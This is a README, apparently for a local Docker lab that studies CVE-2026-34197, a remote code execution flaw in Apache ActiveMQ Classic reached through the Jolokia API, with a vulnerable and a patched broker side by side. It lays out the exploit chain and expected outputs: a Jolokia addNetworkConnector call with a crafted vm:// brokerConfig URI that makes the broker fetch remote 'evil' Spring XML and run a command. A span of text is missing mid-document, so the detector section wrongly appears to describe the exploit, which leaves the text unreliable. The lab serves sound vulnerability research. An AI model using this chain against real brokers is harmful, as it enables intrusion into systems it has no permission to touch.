## https://sploitus.com/exploit?id=1B077F36-EB2B-50DC-B1EC-07C966A57F70
# CVE-2026-34197 โ Apache ActiveMQ Classic Jolokia RCE Lab
## Overview
This repository is a local Docker lab for studying **CVE-2026-34197**, an Apache ActiveMQ Classic remote code execution issue reachable through the Jolokia JMX-HTTP API.
The lab compares two ActiveMQ Classic instances side by side:
| Service | Version | Purpose | URL |
| --------- | ------: | ------------------------- | ----------------------- |
| `vuln` | 5.19.3 | Vulnerable target | `http://127.0.0.1:8081` |
| `patched` | 5.19.4 | Patched comparison target | `http://127.0.0.1:8082` |
The repository contains two proof scripts:
| Script | Purpose | Safety model |
| --------------- | ------------------------- | ----------------------------------------- |
| `poc/detect.py` | Authorized detector | HTTP-only; does not exploit |
| `poc/poc.py` | Local-only RCE-path proof | Fixed command only: `id; whoami; sleep 5` |
Execution evidence is verified separately by the operator using process observation tools such as `strace`.
---
## Vulnerability Summary
CVE-2026-34197 affects Apache ActiveMQ Classic versions where an authenticated user can use the Jolokia API to invoke broker management operations and cause the broker JVM to load attacker-controlled Spring XML through a crafted `brokerConfig=xbean:http://...` URI.
The vulnerable flow demonstrated in this lab is:
```text
Jolokia /api/jolokia/
-> Broker MBean operation
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> remote Spring XML fetch
-> ProcessBuilder bean initialization
-> fixed local proof command
```
The patched service blocks this path before the XML is fetched and returns an error similar to:
```text
VM scheme is not allowed
```
---
## Repository Structure
```text
.
โโโ docker-compose.yml
โโโ vuln
โ โโโ Dockerfile
โโโ patched
โ โโโ Dockerfile
โโโ poc
โ โโโ detect.py
โ โโโ poc.py
โโโ images
โ โโโ strace.png
โโโ README.md
โโโ .gitignore
```
### File roles
* `docker-compose.yml` runs the vulnerable and patched ActiveMQ services.
* `vuln/Dockerfile` builds Apache ActiveMQ Classic 5.19.3.
* `patched/Dockerfile` builds Apache ActiveMQ Classic 5.19.4.
* `poc/detect.py` checks Jolokia exposure, ActiveMQ version, and Broker MBean visibility.
* `poc/poc.py` triggers the local-only RCE path using a fixed benign command.
* `images/strace.png` contains local process-observation evidence from the vulnerable service.
* `.gitignore` excludes local artifacts, Python cache files, virtual environments, logs, and secrets.
---
## Safety Boundaries
This repository is intended for local lab use and authorized security validation only.
The PoC is deliberately constrained:
* It refuses non-local targets.
* It does not accept arbitrary commands.
* It uses only the fixed command: `id; whoami; sleep 5`.
* It does not collect command output through a callback.
* It relies on separate operator-controlled observation such as `strace`.
Allowed local targets for `poc.py`:
```text
127.0.0.1
localhost
::1
```
Do not use this repository against systems you do not own or do not have explicit permission to test.
---
## Lab Setup
### Build and start the lab
```bash
docker compose down -v
docker compose build
docker compose up -d
```
Check service status:
```bash
docker compose ps
```
Expected services:
```text
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
```
### Verify Jolokia version endpoints
Check the vulnerable service:
```bash
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
```
Check the patched service:
```bash
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
```
Expected versions:
```text
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
```
---
## Detector Usage
`poc/detect.py` is the safe default script. It does not exploit the target.
It checks:
1. whether `/api/jolokia/version` is accessible;
2. whether authentication is required;
3. whether the product is Apache ActiveMQ;
4. the ActiveMQ version;
5. whether the Broker MBean is visible through Jolokia search;
6. whether the version falls into an affected range.
### Run detector against both lab services
```bash
python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
```
Expected result:
```text
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
```
### What counts as vulnerable in the detector?
The detector marks a target as `LIKELY_VULNERABLE` when:
```text
Jolokia is accessible
+
ActiveMQ version is in an affected range
```
Affected ranges used by this lab:
```text
5.x .xml
```
It then invokes the ActiveMQ Broker MBean through Jolokia:
```text
addNetworkConnector(java.lang.String)
```
with a crafted discovery URI:
```text
static:(vm://cve34197?brokerConfig=xbean:http://host.docker.internal:9100/evil-.xml)
```
The vulnerable broker fetches this XML. The patched broker blocks the `vm://` transport scheme before fetching XML.
### Important behavior
After a vulnerable run, the created NetworkConnector may retry fetching the old XML path. The script uses a per-run nonce and tracks `matches_current_run` to avoid false positives.
A hit is only counted as the current run if it matches:
```text
/evil-.xml
```
---
## Run PoC Against Vulnerable Service
```bash
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
```
Expected output:
```text
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-.xml
matches_current_run: true
```
This confirms that ActiveMQ 5.19.3 can be made to fetch attacker-controlled Spring XML through the Jolokia-managed broker path.
---
## Run PoC Against Patched Service
```bash
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
```
Expected output:
```text
VM scheme is not allowed
[-] No XML fetch observed for this run.
```
If hits from an older vulnerable run appear, they should show:
```json
"matches_current_run": false
```
Those are not counted as patched-service success.
---
## Confirm Command Execution with strace
The PoC script does not collect command output. To confirm command execution, observe process creation inside the vulnerable container.
Enter the vulnerable container as root:
```bash
docker exec -it --user root cve-2026-34197-vuln bash
```
Find the Java process:
```bash
pgrep -af java
```
Attach `strace` to the Java PID:
```bash
strace -f -e execve -p
```
In another terminal, run the PoC against the vulnerable service:
```bash
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
```
Expected `strace` evidence:
```text
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
```
This is the OS-level evidence that the fixed proof command was executed by the broker JVM.

---
## Cleanup Between Runs
The PoC attempts to remove the default NetworkConnector name `NC` before triggering. This keeps repeated lab runs predictable.
Manual cleanup:
```bash
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
```
Or restart the lab:
```bash
docker compose restart vuln patched
```
---
## Expected Lab Results
| Test | Vulnerable 5.19.3 | Patched 5.19.4 |
| ----------------------- | ---------------------------------- | -------------------------- |
| `detect.py` | `LIKELY_VULNERABLE` | `NOT_AFFECTED_BY_VERSION` |
| Jolokia access | Accessible with auth | Accessible with auth |
| Broker MBean | Visible | Visible |
| `poc.py` XML fetch | Yes | No |
| Patched block signature | N/A | `VM scheme is not allowed` |
| strace command evidence | `/bin/sh -c 'id; whoami; sleep 5'` | Not expected |
---
## References
* Apache ActiveMQ Security Advisory โ CVE-2026-34197: [https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt)
* NVD โ CVE-2026-34197: [https://nvd.nist.gov/vuln/detail/CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197)
* CVE.org โ CVE-2026-34197 record: [https://vulners.com/cve/CVE-2026-34197](https://vulners.com/cve/CVE-2026-34197)
* GitHub Advisory Database โ GHSA-rxpj-7qvf-xv32: [https://github.com/advisories/GHSA-rxpj-7qvf-xv32](https://github.com/advisories/GHSA-rxpj-7qvf-xv32)
* Horizon3.ai โ CVE-2026-34197 ActiveMQ RCE via Jolokia API: [https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/)
* Apache ActiveMQ Classic documentation โ Networks of Brokers: [https://activemq.apache.org/components/classic/documentation/networks-of-brokers](https://activemq.apache.org/components/classic/documentation/networks-of-brokers)
* Apache ActiveMQ Classic JMX BrokerView API documentation: [https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html](https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html)